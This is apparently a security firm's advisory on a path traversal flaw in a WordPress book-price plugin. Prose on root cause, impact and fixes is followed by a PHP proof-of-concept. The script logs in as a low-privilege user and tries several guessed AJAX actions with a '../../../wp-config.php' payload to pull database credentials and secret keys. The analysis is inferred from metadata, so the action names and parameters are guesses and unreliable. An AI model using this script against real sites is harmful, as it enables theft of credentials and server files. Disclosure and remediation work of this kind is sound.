Atomic Edge analysis of CVE-2026-22334 (metadata-based):
This vulnerability is an authenticated path traversal flaw in the Woocommerce Book Price WordPress plugin, version 1.3 and earlier. It allows authenticated users with Subscriber-level permissions or higher to download arbitrary files from the server. The CVSS score of 6.5 (Medium) reflects its network accessibility, low attack complexity, and high confidentiality impact.
Atomic Edge research identifies the root cause as CWE-22, Improper Limitation of a Pathname to a Restricted Directory. The plugin likely contains a file download or read function that accepts user-supplied input for a file path parameter. This input is not properly sanitized to prevent directory traversal sequences like ‘../’. The vulnerability description confirms the flaw exists in all versions up to 1.3. Without source code, Atomic Edge infers the vulnerable function is an AJAX handler or admin endpoint accessible to low-privileged users, given the Subscriber+ requirement.
Exploitation requires an attacker to possess a valid Subscriber account. The attacker would send a crafted HTTP request to a plugin-specific endpoint, possibly /wp-admin/admin-ajax.php. The request would include an action parameter corresponding to a plugin file download function and a file path parameter containing traversal sequences. A typical payload would be ‘action=woo_book_price_download&file=../../../wp-config.php’ or similar. The server would then return the contents of the specified file instead of restricting access to an intended directory.
Remediation requires implementing proper path validation. The fix should validate user-supplied filenames against an allowlist of permitted files. If an allowlist is impractical, the code must sanitize the input by resolving the full path and checking it begins with the intended base directory. WordPress functions like realpath() combined with strpos() checks are common solutions. Input validation must occur before any file operations.
Successful exploitation leads to full server file disclosure for files readable by the web server process. Attackers can retrieve WordPress configuration files (wp-config.php) containing database credentials, secret keys, and other sensitive data. They can also access system files (/etc/passwd), plugin source code, and log files. This information facilitates further attacks, including database compromise and potential privilege escalation.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-22334 - Woocommerce Book Price <= 1.3 - Authenticated (Subscriber++) Arbitrary File Download
<?php
$target_url = 'https://example.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$file_to_download = '../../../wp-config.php';
// Assumptions based on WordPress plugin patterns:
// 1. The plugin uses an AJAX handler for file operations.
// 2. The vulnerable parameter is named 'file' or similar.
// 3. The AJAX action name likely contains the plugin slug 'woo_book_price'.
// 4. Subscriber authentication is required via WordPress cookies.
function poc_login($base_url, $user, $pass) {
$login_url = $base_url . '/wp-login.php';
$login_data = ['log' => $user, 'pwd' => $pass, 'wp-submit' => 'Log In'];
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
return file_exists('cookies.txt');
}
function poc_exploit($base_url, $file_param) {
$ajax_url = $base_url . '/wp-admin/admin-ajax.php';
// Common AJAX action naming patterns inferred from plugin slug
$possible_actions = [
'woo_book_price_download',
'woo_book_price_get_file',
'book_price_download',
'wbp_download'
];
foreach ($possible_actions as $action) {
$post_data = [
'action' => $action,
'file' => $file_param
];
$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && !empty($response)) {
echo "[+] Potential success with action: $actionn";
echo "[+] Response preview: " . substr($response, 0, 500) . "n";
return;
}
}
echo "[-] No successful exploitation with tested action patterns.n";
}
// Main execution
if (poc_login($target_url, $username, $password)) {
echo "[+] Authentication successful.n";
poc_exploit($target_url, $file_to_download);
} else {
echo "[-] Authentication failed.n";
}
// Cleanup
@unlink('cookies.txt');
?>
